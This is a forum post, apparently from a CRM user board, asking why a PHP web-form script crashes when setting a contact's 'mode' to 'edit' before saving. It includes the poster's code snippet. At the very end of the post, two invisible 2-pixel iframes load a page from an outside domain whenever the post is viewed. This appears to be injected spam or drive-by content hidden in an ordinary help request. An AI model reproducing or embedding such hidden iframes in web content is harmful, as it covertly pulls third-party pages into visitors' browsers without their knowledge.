Update Contacts by Web service (Web form)

Hello everybody.

First please be patient, my langage is not English. <!-- s:oops: --><img src="{SMILIES_PATH}/icon_redface.gif" alt=":oops:" title="Embarassed" /><!-- s:oops: -->
My problem is the next: I would update different fields of a contact outside the CRM (Business Intelligence level).
I finded how to view data with a personnal function into soap/webforms.php and the web form plugin (Web service) and how to create a new contact but I search now how to update data...

I have read that before calling the "save" in CRMEntities I must write $MyEntite->mode = "edit"

But this variable "mode" does'nt exist nowhere <!-- s:? --><img src="{SMILIES_PATH}/icon_confused.gif" alt=":?" title="Confused" /><!-- s:? --> (not in Contact and CRMEntities).
Yet in CRMEntities I can read in the function "saveentity" (called by "save"):

global $current_user, $adb;//$adb added by raju for mass mailing
	$insertion_mode = $this->mode;

So where is this variable?

In my webform page, I have write:

$contact = new Contacts();
	$contact->retrieve_entity_info($id_contact,"Contacts"); // On obtient toutes les infos du client sur base de son ID
	$contact->column_fields[email] = "TESTOUEncore@test.com";
	$contact->mode = "edit";
	$contact->save("Contacts");

And the script crash at the line "$contact->mode = "edit";"

Thank you for all your answers! <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;